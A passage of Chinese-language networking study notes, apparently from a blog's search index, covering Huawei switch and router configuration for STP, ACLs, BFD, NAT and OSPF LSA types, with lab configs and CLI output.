stp[SW1]stp disable // 关闭 stp[SW1]display stp brief MSTID Port Role STP State Protection 0 GigabitEthernet0/0/1 ALTE DISCARDING NONE 0 GigabitEthernet0/0/2 ROOT FORWARDING NONE[SW1]stp root ? primary Primary root switch // 根桥 优先级变0 secondary Secondary root switch // 备份根桥 优先级变4096[SW1]stp priority ? // 修改优先级 INTEGER&lt;0-61440&gt; Bridge priority, in steps of 4096[SW1]stp pathcost-standard ? // 修改开销计算方式 整个网络都需要修改 dot1d-1998 IEEE 802.1D-1998 dot1t IEEE 802.1T legacy Legacy[SW1-GigabitEthernet0/0/1]stp cost ? // 修改开销 INTEGER&lt;1-200000000&gt; Port path cost[SW1-GigabitEthernet0/0/1]stp port priority ? // 修改接口优先级 INTEGER&lt;0-240&gt; Port priority, in steps of 16 PVIPVI: 协议版本标识符. 0: STP, 标准 STP, 基于 802.1D, 所有 STP 的基础。所有的 VLAN 共用一个 STP 拓扑，收敛速度慢 (30-50s). 2:RSTP, 快速 STP, 基于 802.1W, 在标准 STP 的基础上增加了部分快速收敛机制. 3:MSTP, 多实例 STP, 基于 802.1S, 在 RSTP 的基础上增加了多实例的配置，可以实现多 VLAN 的 STP 不同的拓扑，并且单独计算生成树."},{"title":"","date":"2024-01-09T06:00:00.000Z","updated":"2024-01-09T06:00:00.000Z","comments":true,"path":"notes/datacom/19.html","permalink":"https://blog.mhuig.top/notes/datacom/19","excerpt":"","text":"ACL 原理和配置 ACL 原理和配置 ACLACL: 访问控制列表，可以对数据，报文流量进行过滤控制访问的一种工具. ACL 分类1. 基本 ACL: 2000-2999 可以根据报文中的源 IP 地址对数据进行控制 2. 高级 ACL: 3000-3999 可以根据五元组 (源 IP 地址，目的 IP 地址，源端口，目的端口，协议) 3. 二层 ACL: 4000-4999 源目 MAC 地址以及二层协议类型 ACL 规则1.ACL 可以由多条规则组成，其中规则由”permit” 和”deny” 语句组成 2. 设备收到数据流后会逐条匹配 ACL 规则 3. 如果不匹配则继续向下匹配，一旦找到匹配的规则执行该规则的动作，并且不再继续与后续的规则匹配 4.ACL 规则按照编号从小到大匹配 5. 默认情况下，编号步长为 5 ACL 调用方向入站 (inbound): 数据流进入路由器的方向 出站 (outbound): 数据流发出的方向 shellacl number 2000 rule 5 permit source 192.168.1.0 0.0.0.255 rule 10 deny source 192.168.2.0 0.0.0.255 #interface GigabitEthernet0/0/0 traffic-filter outbound acl 2000 [R1]acl 2000[R1-acl-basic-2000]rule permit source 192.168.1.0 0.0.0.255[R1-acl-basic-2000]rule deny source 192.168.2.0 0.0.0.255[R1-acl-basic-2000]dis th[V200R003C00]#acl number 2000 rule 5 permit source 192.168.1.0 0.0.0.255 rule 10 deny source 192.168.2.0 0.0.0.255 #return[R1-acl-basic-2000][R1-acl-basic-2000]rule ? INTEGER&lt;0-4294967294&gt; ID of ACL rule deny Specify matched packet deny permit Specify matched packet permit[R1-acl-basic-2000]rule permit ? fragment Check fragment packet none-first-fragment Check the subsequence fragment packet source Specify source address time-range Specify a special time vpn-instance Specify a VPN-Instance &lt;cr&gt; Please press ENTER to execute command R1# sysname R1#acl number 2000 rule 5 permit source 192.168.1.0 0.0.0.255 rule 10 deny source 192.168.2.0 0.0.0.255 #interface GigabitEthernet0/0/0 ip address 12.1.1.1 255.255.255.0 traffic-filter outbound acl 2000#interface GigabitEthernet0/0/1 ip address 13.1.1.1 255.255.255.0 #interface GigabitEthernet0/0/2 ip address 192.168.1.254 255.255.255.0 #interface GigabitEthernet4/0/0 ip address 192.168.2.254 255.255.255.0 #interface LoopBack0 ip address 1.1.1.1 255.255.255.255 #ospf 1 router-id 1.1.1.1 area 0.0.0.0 network 1.1.1.1 0.0.0.0 network 12.1.1.1 0.0.0.0 network 13.1.1.1 0.0.0.0 network 192.168.1.254 0.0.0.0 network 192.168.2.254 0.0.0.0 # R2# sysname R2#interface GigabitEthernet0/0/0 ip address 12.1.1.2 255.255.255.0 #interface LoopBack0 ip address 2.2.2.2 255.255.255.255 #ospf 1 router-id 2.2.2.2 area 0.0.0.0 network 2.2.2.2 0.0.0.0 network 12.1.1.2 0.0.0.0 R3# sysname R3#acl number 3000 rule 5 deny tcp source 12.1.1.2 0 destination 13.1.1.3 0 destination-port eq telnet #interface GigabitEthernet0/0/0 ip address 13.1.1.3 255.255.255.0 traffic-filter inbound acl 3000#interface LoopBack0 ip address 3.3.3.3 255.255.255.255 #ospf 1 router-id 3.3.3.3 area 0.0.0.0 network 3.3.3.3 0.0.0.0 network 13.1.1.3 0.0.0.0 #user-interface vty 0 4 authentication-mode password set authentication password cipher %$%$Bw.-6uoM]XN2l&amp;&gt;pzZ&amp;X,%In[7fqV+cWrS,7Yk,,CAQY%Iq,%$%$"},{"title":"","date":"2023-12-03T05:59:00.000Z","updated":"2023-12-03T05:59:00.000Z","comments":true,"path":"notes/datacom/2.html","permalink":"https://blog.mhuig.top/notes/datacom/2","excerpt":"","text":"传输介质 传输介质 传输速率500Mb/s 10MB/s bit 位 Byte 字节 1Byte=8bit Speed: 速率，网络中数据传输的速度. bit/s: 比特 /s, 一般用于网络设备或线缆传输速率的描述. Byte/s: 字节 /s, 一般用于文件的传输速率描述. 1Byte/s=8bit/s 计算机网络最常用的性能指标是：速率、带宽、吞吐量、时延 (发送时延、传播时延、处理时延、排队时延)、时延带宽积、往返时间和信道 (或网络) 利用率。 网络中的线同轴电缆结构：外层导体和内导体的圆心在同一个轴心上.优点：标准距离长，抗干扰能力长，传输距离稳定.缺点：体积大，占用线缆管道空间大，不能够接受缠结，压力或弯度过大，安全性低. 分类 粗同轴电缆：有效传输距离 500m, 直径 9.5mm 左右.适用于大型的局域网络，标准距离长，可靠性高. 细同轴电缆：有效传输距离 185m, 直径 5mm 左右.造价低，体积小. 双绞线理论最大传输距离 100m, 共四对八根，两两相绕. 为了消减双绞线在传输电信号时产生的电磁干扰需要将 8 根线两两相绕. 双绞线分类 按照传输速度: 5 类：最高传输速度 100Mbit/s 有效传输距离 100m. 超 5 类：传输速度 1000Mbit/s 有效传输距离 100m. 6 类：传输速度两倍超五类以上有效传输距离 100m. 按照有无屏蔽层分类 屏蔽双绞线 (STP): 在双绞线与外层绝缘之间有一个金属的屏蔽层，减少外部电磁干扰，屏蔽双绞线一般比非屏蔽双绞线拥有更高的传输效率. 非屏蔽双绞线 (UTP) 双绞线的线序T568-A: 绿白 绿 橙白 蓝 蓝白 橙 棕白 棕 T568-B: 橙白 橙 绿白 蓝 蓝白 绿 棕白 棕 连接方式如果两端的线序不一致，交叉线. 如果两端的线序一致，直连线 / 直通线. 当两个设备在同一组内使用交叉线，不同组内使用直通线. PC, 服务器，路由器 交换机，集线器 光纤通过光的全反射进行信息传递. 结构：光导纤维，由玻璃或塑料制成的纤维，作为光的传导工具. 纤芯：位于光纤的中心，用于传导光信号. 涂覆层：位于中间位置，满足光信号的全反射. 包层：位于最外层，一般用于保护光纤. 光纤的种类: 单模光纤：传输距离至少可以到达 5 公里，只传递一束光，因为反射角度大损耗小，所以传输距离非常远. 多模光纤：可以传递多束光，传输速率较快，传递距离较短. 优点：传输距离远，速率快，损耗低，抗干扰能力强. 缺点：弯折能力有限，容易损坏. 无线 移动性，不受时间和空间的限制. 灵活性，不受线缆的限制. 成本低，不需要大量的工程布线，节省线路维护费用. 易安装，配置和维护更容易. 蓝牙，红外线，微波，无线电. 数据通信模式 (设备的双工模式) 单工：数据只能从一个方向到另一个方向进行传递，不能反向传递.例子：收音机. 半双工：数据可以双向通信，但是同一时间段只能进行单向通信.例子：对讲机. 全双工：数据可以在同一个数据节点进行双向通信.例子：手机. CSMA/CD冲突：多个设备在一个共享链路上，同时发送数据就会产生冲突. 冲突域：可能会产生冲突的范围. 避免冲突的办法CSMA/CD: 载波监听多路访问 / 冲突检测 发前先听：在发送数据之前，监听网络中是否存在其他设备正在发送数据，如果有则暂停发送. 边发边听：在发送数据过程中，也会监听网络中的冲突情况，如果发现冲突则会停止发送. 冲突避让：一旦发生了冲突，则通过避退算法，启用计时器. 避让后再发：等待随机时间后再发送数据."},{"title":"","date":"2024-01-24T07:00:00.000Z","updated":"2024-01-24T07:00:00.000Z","comments":true,"path":"notes/datacom/21.html","permalink":"https://blog.mhuig.top/notes/datacom/21","excerpt":"","text":"BFD 协议原理与配置 BFD 协议原理与配置 BFDBFD: 双向转发检测，基于 UDP 工作，端口号 3784 BFD 优点BFD 提供了一个通用的，标准化的，介质无关的，协议无关的快速故障检测机制，有以下两大优点: 对相邻转发引擎之间的通道提供轻负荷，快速故障检测. 用单一的机制对任何介质，任何协议层进行实时检测. BFD 的故障检测机制BFD 依赖会话进行故障检测，在两个系统之间建立 BFD 会话，并沿他们的路径快速的发送 BFD 控制报文，如果一方在特定的时间内没有收到对方的 BFD 报文，那么 BFD 认为会话 DOWN, 此时联动的其他协议或接口状态会发生改变. BFD 会话建立方式(主要区别在于 LD 和 RD 的配置方式) 静态建立 BFD 会话：通过命令行手工配置 BFD 会话参数，包括 LD 和 RD 等，然后手工下发 BFD 会话建立请求 动态建立 BFD 会话: 1. 动态分配本地标识符：当应用程序触发动态创建 BFD 会话时，系统分配属于动态会话标识符的值作为本地标识符。向对端发送 RD 为 0 的 BFD 报文. 2. 自学习远端标识符：当 BFD 会话的一端收到 RD 为 0 的 BFD 控制报文时，判断该报文是否与本地 BFD 会话匹配，如果匹配，则学习接收到的 BFD 报文中的 LD, 获取远端标识符. BFD 会话建立过程BFD 会话有四种状态 Down,Init,UP,Admindown. 会话状态通过 BFD 的 State 字段传递，系统根据自己本地的会话状态和接收到对端的 BFD 报文来驱动状态的变化，BFD 状态机的建立采用三次握手机制，以确保两端都能知道状态的变化. 1.RA 和 RB 各自启动 BFD 的状态机，初始状态是 Down, 发送状态为 Down 报文. 2.RB 收到状态为 Down 的 BFD 报文，状态切换至 Init, 并发送状态为 Init 的报文. 3.RB 本地 BFD 状态变为 Init 后，不再处理接收到的 Down 报文. 4.RB 收到状态为 Init 的 BFD 报文后，本地切换到 UP 状态. 5.RA 的 BFD 状态变化和 RB 一样. BFD 状态Down 状态说明会话 down, 一个会话维持在 down 状态直到收到对端的报文并且报文中 STA 字段不是 UP Init 状态说明与远端正在通信，并期望进入 UP 状态，当远端还没有回应一个 Init 状态的会话会维持 Init 状态，直到接收到对端的 Init 包和 UP 包就会跳转到 UP 状态，否则，等到检测时间超时后，会跳转到 Down 状态. UP 状态说明 BFD 会话建立成功，并且正在确认链路的连通性，会话会一直保持在 up 状态直到链路故障或管理 Down 操作. 如果收到远端的 Down 报文或者检测时间超时会话会从 up 跳转到 Down. Admindown 意味着会话被管理操作 down, 导致远端系统会话进入到 down 状态，并一直保持 down 状态直到本端退出 Admindown. BFD 检测模式1. 异步模式：本端按一定周期发送 BFD 控制报文，检测位置为远端，远端检测本端是否周期性的发送 BFD 控制报文. 2. 查询模式：本端自身发送的 BFD 控制报文是否得到了回应. BFD 检测时间本地 BFD 报文的实际发送间隔 = MAX (本地配置的发送时间间隔，对端配置的接收时间间隔) 本地 BFD 报文的实际接收间隔 = MAX (本地配置的接收时间间隔，对端配置的发送时间间隔) 超时时间: 1. 异步模式：对端超时倍数 * 本端的接收间隔 2. 查询模式：本端超时倍数 * 本端的接收间隔 静态路由与 BFD 联动单跳检测[R1]ip route-static 4.4.4.4 32 12.1.1.2[R1]ip route-static 4.4.4.4 32 13.1.1.3 preference 70[R1]ip route-static 24.1.1.0 24 12.1.1.2[R1]ip route-static 34.1.1.0 24 13.1.1.3[R2]ip route-static 4.4.4.4 32 24.1.1.4[R3]ip route-static 4.4.4.4 32 34.1.1.4[R4]ip route-static 12.1.1.1 24 24.1.1.2[R4]ip route-static 13.1.1.1 24 34.1.1.3----R1:bfd // 开启BFD功能bfd 12 bind peer-ip 12.1.1.2 interface GigabitEthernet0/0/0 discriminator local 10 discriminator remote 20 commit----R2:bfd // 开启BFD功能bfd 21 bind peer-ip 123.1.1.1 interface GigabitEthernet0/0/0 discriminator local 20 discriminator remote 10 commit----R1配置静态路由与BFD联动[R1]ip route-static 4.4.4.4 255.255.255.255 12.1.1.2 track bfd-session 12---[R1]bfd // 开启BFD功能[R1-bfd]q[R1]bfd ? STRING&lt;1-15&gt; BFD configuration name &lt;1-15&gt; &lt;cr&gt; Please press ENTER to execute command [R1]bfd 12 ? bind Bind type &lt;cr&gt; Please press ENTER to execute command [R1]bfd 12 bind peer-ip 12.1.1.2 ? interface Bind the outgoing-interface(only for single hop) source-ip Set source IP address vpn-instance Vpn instance name &lt;cr&gt; Please press ENTER to execute command [R1]bfd 12 bind peer-ip 12.1.1.2 interface ? GigabitEthernet GigabitEthernet interface[R1]bfd 12 bind peer-ip 12.1.1.2 interface GigabitEthernet 0/0/0[R1-bfd-session-12][R1-bfd-session-12]dis th[V200R003C00]#bfd 12 bind peer-ip 12.1.1.2 interface GigabitEthernet0/0/0#return[R1-bfd-session-12]discriminator local 10[R1-bfd-session-12]discriminator remote 20[R1-bfd-session-12]commit [R1-bfd-session-12]dis th[V200R003C00]#bfd 12 bind peer-ip 12.1.1.2 interface GigabitEthernet0/0/0 discriminator local 10 discriminator remote 20 commit#return[R1-bfd-session-12]---[R2]undo bfdWarning: All BFD capability on the device will be deleted. Continue? [Y/N]y[R2][R1]undo bfd 12--- 多跳检测[R1]ip route-static 4.4.4.4 32 12.1.1.2[R1]ip route-static 4.4.4.4 32 13.1.1.3 preference 70[R1]ip route-static 24.1.1.0 24 12.1.1.2[R1]ip route-static 34.1.1.0 24 13.1.1.3[R2]ip route-static 1.1.1.1 32 12.1.1.1[R2]ip route-static 4.4.4.4 32 24.1.1.4[R3]ip route-static 1.1.1.1 32 13.1.1.1[R3]ip route-static 4.4.4.4 32 34.1.1.4[R4]ip route-static 12.1.1.1 24 24.1.1.2[R4]ip route-static 13.1.1.1 24 34.1.1.3[R4]ip route-static 1.1.1.1 24 34.1.1.3[R4]ip route-static 1.1.1.1 24 24.1.1.2[R1-bfd-session-14]dis th[V200R003C00]#bfd 14 bind peer-ip 24.1.1.4 // 创建BFD会话绑定x.x.x.x discriminator local 10 // 本端标识符 discriminator remote 40 //远端标识符 commit // 启用#[R4-bfd-session-41]dis th[V200R003C00]#bfd 41 bind peer-ip 12.1.1.1 discriminator local 40 discriminator remote 10 commit#return[R1]display bfd session all--------------------------------------------------------------------------------Local Remote PeerIpAddr State Type InterfaceName --------------------------------------------------------------------------------10 40 24.1.1.4 Up S_IP_PEER - -------------------------------------------------------------------------------- Total UP/DOWN Session Number : 1/0[R1]display bfd session all--------------------------------------------------------------------------------Local Remote PeerIpAddr State Type InterfaceName --------------------------------------------------------------------------------10 40 24.1.1.4 Down S_IP_PEER - -------------------------------------------------------------------------------- Total UP/DOWN Session Number : 0/1[R1]ip route-static 4.4.4.4 32 12.1.1.2 track bfd-session 14[R1]ping -c 500 -a 1.1.1.1 4.4.4.4 PING 4.4.4.4: 56 data bytes, press CTRL_C to break Reply from 4.4.4.4: bytes=56 Sequence=1 ttl=254 time=30 ms Reply from 4.4.4.4: bytes=56 Sequence=2 ttl=254 time=40 ms Reply from 4.4.4.4: bytes=56 Sequence=3 ttl=254 time=30 ms Reply from 4.4.4.4: bytes=56 Sequence=4 ttl=254 time=20 ms Reply from 4.4.4.4: bytes=56 Sequence=5 ttl=254 time=40 ms Reply from 4.4.4.4: bytes=56 Sequence=6 ttl=254 time=30 ms Reply from 4.4.4.4: bytes=56 Sequence=7 ttl=254 time=30 ms Reply from 4.4.4.4: bytes=56 Sequence=8 ttl=254 time=50 ms Reply from 4.4.4.4: bytes=56 Sequence=9 ttl=254 time=30 ms Reply from 4.4.4.4: bytes=56 Sequence=10 ttl=254 time=30 ms Reply from 4.4.4.4: bytes=56 Sequence=11 ttl=254 time=40 ms Reply from 4.4.4.4: bytes=56 Sequence=12 ttl=254 time=40 ms Reply from 4.4.4.4: bytes=56 Sequence=13 ttl=254 time=30 ms Reply from 4.4.4.4: bytes=56 Sequence=14 ttl=254 time=40 ms Reply from 4.4.4.4: bytes=56 Sequence=15 ttl=254 time=30 ms Reply from 4.4.4.4: bytes=56 Sequence=16 ttl=254 time=30 ms Request time out Request time outJan 24 2024 15:46:13-08:00 R1 %%01BFD/4/STACHG_TODWN(l)[1]:BFD session changed to Down. (SlotNumber=0, Discriminator=167772160, Diagnostic=DetectDown, Applications=None, ProcessPST=False, BindInterfaceName=None, InterfacePhysicalState=None, InterfaceProtocolState=None) Request time out Reply from 4.4.4.4: bytes=56 Sequence=20 ttl=254 time=30 ms Reply from 4.4.4.4: bytes=56 Sequence=21 ttl=254 time=30 ms Reply from 4.4.4.4: bytes=56 Sequence=22 ttl=254 time=40 ms Reply from 4.4.4.4: bytes=56 Sequence=23 ttl=254 time=30 ms Reply from 4.4.4.4: bytes=56 Sequence=24 ttl=254 time=30 ms Reply from 4.4.4.4: bytes=56 Sequence=25 ttl=254 time=30 ms Reply from 4.4.4.4: bytes=56 Sequence=26 ttl=254 time=40 ms Reply from 4.4.4.4: bytes=56 Sequence=27 ttl=254 time=30 ms Reply from 4.4.4.4: bytes=56 Sequence=28 ttl=254 time=40 ms OSPF 与 BFD 联动# R1interface LoopBack0 ip address 1.1.1.1 255.255.255.255 #ospf 1 router-id 1.1.1.1 bfd all-interfaces enable area 0.0.0.0 network 1.1.1.1 0.0.0.0 network 12.1.1.1 0.0.0.0 network 13.1.1.1 0.0.0.0 # R2interface LoopBack0 ip address 2.2.2.2 255.255.255.255 #ospf 1 router-id 2.2.2.2 bfd all-interfaces enable area 0.0.0.0 network 2.2.2.2 0.0.0.0 network 12.1.1.2 0.0.0.0 network 24.1.1.2 0.0.0.0 ## R3interface LoopBack0 ip address 3.3.3.3 255.255.255.255 #ospf 1 router-id 3.3.3.3 bfd all-interfaces enable area 0.0.0.0 network 3.3.3.3 0.0.0.0 network 13.1.1.3 0.0.0.0 network 34.1.1.3 0.0.0.0 ## R4interface LoopBack0 ip address 4.4.4.4 255.255.255.255 #ospf 1 router-id 4.4.4.4 bfd all-interfaces enable area 0.0.0.0 network 4.4.4.4 0.0.0.0 network 24.1.1.4 0.0.0.0 network 34.1.1.4 0.0.0.0 #[R1]dis bfd session all --------------------------------------------------------------------------------Local Remote PeerIpAddr State Type InterfaceName --------------------------------------------------------------------------------8192 8192 12.1.1.2 Up D_IP_IF GigabitEthernet0/0/0 8195 8195 13.1.1.3 Up D_IP_IF GigabitEthernet0/0/1 -------------------------------------------------------------------------------- Total UP/DOWN Session Number : 2/0"},{"title":"","date":"2024-01-09T07:00:00.000Z","updated":"2024-01-09T07:00:00.000Z","comments":true,"path":"notes/datacom/20.html","permalink":"https://blog.mhuig.top/notes/datacom/20","excerpt":"","text":"NAT 网络地址转换 NAT 网络地址转换 NATNAT: 网络地址转换 用于实现位于内部网络访问外部网络的功能. 作用：当局域网内的主机需要访问外网时，通过 NAT 技术，将私网地址转换为外网地址，并可以实现多个私网用户共用一个公网地址，既保证网络的互通，又节省公网地址. NAT 种类1. 静态 NAT: 私网地址与公网地址一对一的映射，一个公网地址只会分配给唯一且固定的内网主机，适用于小型网络，某台服务器对外服务时使用. 2. 动态 NAT: 通过地址池进行分配，出口设备会从配置的公网地址池中选择一个未分配的公网地址，当不需要连接时，对应的地址映射关系会被解除，公网地址恢复到地址池中，如果地址池中的地址用尽后，只能等待被占用的公网地址释放后，其他主机才能使用. 3.NAPT: 网络地址端口转换，允许将多个内部地址映射到同一个公网地址的不同端口 4.easy IP: 允许将多个内部地址映射到出口设备的公网 IP 地址的不同端口上 5.NAT Server: 可以实现当私网需要向公网提供服务时私网中的服务器随时可以提供访问. Shell静态[R1-GigabitEthernet0/0/1]nat static global 12.1.1.3 inside 192.168.1.1 动态 NAT / NAPT系统视图创建公网地址池[R1]nat address-group 1 12.1.1.3 12.1.1.3创建允许私网通过规则[R1]acl 2000[R1-acl-basic-2000]rule permit source 192.168.1.0 0.0.0.255连接外网的网关接口下[R1-GigabitEthernet0/0/1]nat outbound 2000 address-group 1 // NAPT[R1-GigabitEthernet0/0/1]nat outbound 2000 address-group 1 no-pat // 动态地址池 将ACL和地址池关联起来 [R1]nat ? address-group IP address-group of NAT alg Application level gateway dns-map DNS mapping filter-mode NAT filter mode link-down Link down reset session function mapping-mode NAT mapping mode overlap-address Overlap address pool to temp address pool map static Specify static NAT[R1]nat address-group ? INTEGER&lt;0-7&gt; Index of address-group[R1]nat address-group 1 ? IP_ADDR&lt;X.X.X.X&gt; Start address[R1]nat address-group 1 12.1.1.3 ? IP_ADDR&lt;X.X.X.X&gt; End address[R1]nat address-group 1 12.1.1.3 12.1.1.3ACL[R1]acl 2000[R1-acl-basic-2000]rule permit source 192.168.1.0 0.0.0.255接口调用ACL2000[R1]int g0/0/1[R1-GigabitEthernet0/0/1]nat ? outbound Specify net address translation server Specify NAT server static Specify static NAT[R1-GigabitEthernet0/0/1]nat outbound ? INTEGER&lt;2000-3999&gt; Apply basic or advanced ACL[R1-GigabitEthernet0/0/1]nat outbound 2000 ? address-group IP address-group of NAT interface Specify the interface &lt;cr&gt; Please press ENTER to execute command [R1-GigabitEthernet0/0/1]nat outbound 2000 address-group 1[R1-GigabitEthernet0/0/1]nat outbound 2000 address-group 1 // NAPT[R1-GigabitEthernet0/0/1]nat outbound 2000 address-group 1 no-pat // 动态地址池 easy IP创建允许私网通过规则[R1]acl 2000[R1-acl-basic-2000]rule permit source 192.168.1.0 0.0.0.255连接外网的网关接口下[R1-GigabitEthernet0/0/1]nat outbound 2000 查看 nat 会话表[R1]display nat session all NAT Session Table Information: Protocol : ICMP(1) SrcAddr Vpn : 192.168.1.2 DestAddr Vpn : 12.1.1.2 Type Code IcmpId : 0 8 3222 NAT-Info New SrcAddr : 12.1.1.1 New DestAddr : ---- New IcmpId : 10939 Protocol : ICMP(1) SrcAddr Vpn : 192.168.1.2 DestAddr Vpn : 12.1.1.2 Type Code IcmpId : 0 8 3224 NAT-Info New SrcAddr : 12.1.1.1 New DestAddr : ---- New IcmpId : 10943 Protocol : ICMP(1) SrcAddr Vpn : 192.168.1.1 DestAddr Vpn : 12.1.1.2 Type Code IcmpId : 0 8 3221 NAT-Info New SrcAddr : 12.1.1.1 New DestAddr : ---- New IcmpId : 10936 NAT Server[R5]ip route-static 0.0.0.0 0 45.1.1.4user-interface vty 0 4 authentication-mode password set authentication password cipher 123456[R4-GigabitEthernet0/0/0]nat server protocol tcp global 34.1.1.5 23 inside 45.1.1.5 23"},{"title":"","date":"2024-02-19T02:00:00.000Z","updated":"2024-02-19T02:00:00.000Z","comments":true,"path":"notes/datacom/22.html","permalink":"https://blog.mhuig.top/notes/datacom/22","excerpt":"","text":"OSPF 路由计算 OSPF 路由计算 OSPF 路由计算每台 OSPF 设备生成自己的 LSA 信息，通过建立邻接关系，与直连设备交互 LSA, 最终在区域内泛洪 LSA 信息，形成完整的 LSDB. 通过 SPF 算法计算到达每个节点的最优路径，将最优的信息加入到路由表中. 常见的 LSA常见的 LSA 有 5 种: Router-LSA Network-LSA Network-summary-LSA ASBR-summary-LSA AS-External-LSA 区域内部计算: 1 类 2 类 区域间计算: 3 类 区域外部计算: 4 类 5 类 LSA 头部字段信息 LS Age: 表示 LSA 已经生存的时间，单位秒，最大老化时间 3600s, 更新时间 1800s. (有一个新的 LSA 去顶替旧的 LSA 会强制老化 3600s) Option: 可选项 LS type: 链路状态类型，标识 LSA 的类型 LS ID: 链路状态 ID, 用于标识特定的 LSA 信息，在不同的 LSA 中，LS ID 的意义不同 Adv Router: 标识生成该 LSA 的 OSPF 设备，生成该 LSA 设备的 RID. Seq: 序列号，每当产生新的 LSA 时，序列号会增加，通过序列号可以判断 LSA 的新旧. Checksum: 校验和，用于校验报文的完整性，防止被篡改 Length: LSA 的总长度. LSA 类型LSA1: Router LSA (路由器 LSA), 每台 OSPF 设备都会生成，描述了该设备在本区域所连接的网络和节点信息，只能在本区域内传递，不能跨区域 LSA2: Network LSA (网络 LSA), 由 DR 生成，用于描述广播型网络和 NBMA 网络。该 LSA 包含了该网络上所连接的路由器的列表，只在该网络所属的区域进行泛洪. LSA3: ABR 生成，描述本区域的一段路由信息传递到其他区域泛洪，LSA3 只在生成的区域内传递，如果需要传入下一个区域，需要另一个 ABR 重新计算生成新的 LSA3. LSA4: ASBR 汇总 LSA, 由 ABR 生成，描述到某一 ASBR 的路由信息。在 ABR 所连接的区域内泛洪 (除了描述 ASBR 所在的区域). LSA5: AS 外部 LSA, 由 ABR 生成，描述 AS 外部某一网段的路由信息，在整个 AS 内泛洪 (不包括特殊区域), 通告 LSA5 时，不管经过哪个路由器都不会改变. LSA7: 由 ASBR 产生，用于描述到达 OSPF 域外的路由. NSSA LSA 与 AS 外部 LSA 功能类似，但是泛洪范围不同. NSSA LSA 只能在始发的 NSSA 内泛洪，并且不能直接进入 Area0. NSSA 的 ABR 会将 7 类 LSA 转换成 5 类 LSA 注入到 Area0. Router LSA一类 LSA: LS ID: 表示生成这条 LSA 设备的 RID 一份一类 LSA 中会包含多个 link, 每个 link 描述了该设备在本区域内连接的一个网络或节点 1.P2P: OSPF 在串行链路中会使用两个 link 来描述该链路信息，其中 stubnet link 用来描述链路的网络信息，P2P 用来描述所连接的节点信息 Link type: 链路类型 P2P Link ID: 所连接节点的 RID Link Data: 表示本设备接口的 IP 地址 Metric: 度量值，表示开销 2.stubnet 表示 OSPF 设备连接到一个末节网络，描述网络信息 Link type: 链路类型 stubnet Link ID: 表示该设备所连接的网络号 Link Data: 表示该设备所连接的网络掩码 Metric: 表示到达此网络的开销 3.transnet: 描述了 OSPF 设备到达 DR (伪节点) 的开销情况 Link ID: DR 的接口 IP 地址 Link Data: 该设备接口 IP 地址 Metric: 表示到达 DR (伪节点) 的开销 Shell查看 LSDB 表 [R1]display ospf lsdb OSPF Process 1 with Router ID 1.1.1.1 Link State Database Area: 0.0.0.0 Type LinkState ID AdvRouter Age Len Sequence Metric Router 2.2.2.2 2.2.2.2 312 48 80000006 0 Router 1.1.1.1 1.1.1.1 311 48 80000007 0 Router 3.3.3.3 3.3.3.3 311 48 80000006 0 Network 123.1.1.1 1.1.1.1 311 36 80000003 0 查看产生的 LSA 的详细信息 [R1]display ospf lsdb router OSPF Process 1 with Router ID 1.1.1.1 Area: 0.0.0.0 Link State Database Type : Router Ls id : 4.4.4.4 Adv rtr : 4.4.4.4 Ls age : 66 Len : 60 Options : E seq# : 80000004 chksum : 0xcdab Link count: 3 * Link ID: 1.1.1.1 Data : 14.1.1.4 Link Type: P-2-P Metric : 48 * Link ID: 14.1.1.0 Data : 255.255.255.0 Link Type: StubNet Metric : 48 Priority : Low * Link ID: 4.4.4.4 Data : 255.255.255.255 Link Type: StubNet Metric : 0 Priority : Medium Type : Router Ls id : 2.2.2.2 Adv rtr : 2.2.2.2 Ls age : 292 Len : 48 Options : E seq# : 8000000f chksum : 0xc954 Link count: 2 * Link ID: 2.2.2.2 Data : 255.255.255.255 Link Type: StubNet Metric : 0 Priority : Medium * Link ID: 123.1.1.2 Data : 123.1.1.2 Link Type: TransNet Metric : 1 Type : Router Ls id : 1.1.1.1 Adv rtr : 1.1.1.1 Ls age : 66 Len : 72 Options : E seq# : 80000011 chksum : 0x4831 Link count: 4 * Link ID: 123.1.1.2 Data : 123.1.1.1 Link Type: TransNet Metric : 1 * Link ID: 1.1.1.1 Data : 255.255.255.255 Link Type: StubNet Metric : 0 Priority : Medium * Link ID: 4.4.4.4 Data : 14.1.1.1 Link Type: P-2-P Metric : 48 * Link ID: 14.1.1.0 Data : 255.255.255.0 Link Type: StubNet Metric : 48 Priority : Low Type : Router Ls id : 3.3.3.3 Adv rtr : 3.3.3.3 Ls age : 299 Len : 48 Options : E seq# : 8000000f chksum : 0xb957 Link count: 2 * Link ID: 3.3.3.3 Data : 255.255.255.255 Link Type: StubNet Metric : 0 Priority : Medium * Link ID: 123.1.1.2 Data : 123.1.1.3 Link Type: TransNet Metric : 1 Network LSA二类 LSA: LS ID: DR 的接口 IP 地址 Network mask: 网络掩码信息 ATT Router: 连接到该 MA 网络的路由器的 RID, 包括 DR 的 RID [R1]dis ospf lsdb network OSPF Process 1 with Router ID 1.1.1.1 Area: 0.0.0.0 Link State Database Type : Network Ls id : 123.1.1.2 Adv rtr : 2.2.2.2 Ls age : 1112 Len : 36 Options : E seq# : 8000000e chksum : 0xffa9 Net mask : 255.255.255.0 Priority : Low Attached Router 2.2.2.2 Attached Router 1.1.1.1 Attached Router 3.3.3.3 区域间路由计算OSPF 只能在区域内传递 LSA1,LSA2, 所以在区域间 ABR 设备会将路由表中的路由信息以 LSA3 的形式传入到其他区域，从而让其他区域的路由器可以计算相应的路由信息. Network summary LSALSA3: 每个 3 类 LSA 实际上就是一个网络信息，ABR 将路由信息转换成 LSA3 并且描述到达网络的开销，其他的 OSPF 设备根据 LSA3 以及自身到达 ABR 的开销值，计算得到区域间路由，LSA3 只在生成的区域内传递，如果需要传入下一个区域，需要另一个 ABR 重新计算生成 LSA3. LS ID: 所描述的网络信息的网络号 Network Mask 该网络信息的掩码 Metric: 开销 区域间路由防环机制1.OSPF 要求所有的非骨干区域必须与 Area0 直接相连，区域间路由需经由 Area0 中转。 区域间的路由传递不能发生在两个非骨干区域之间，这使得 OSPF 的区域架构在逻辑上形成了一个类似星型的拓扑 2.ABR 不会将描述到达某个区域内网段路由的 3 类 LSA 再注入回该区域 3.ABR 从非骨干区域收到的 3 类 LSA 不能用于区域间路由的计算。 AS External LSALSA5: LS ID: 所描述外部网络的网络号 Network Mask: 网络掩码 Metric: 外部开销值，表示 ASBR 到达外部网络的开销 E TYPE: 外部路由类型 TYPE 1: 在 OSPF 域内计算时，会累加内部开销和外部开销 TYPE 2: 在 OSPF 域内计算时，只显示外部路由开销，不累加 OSPF 内部开销 (缺省类型为 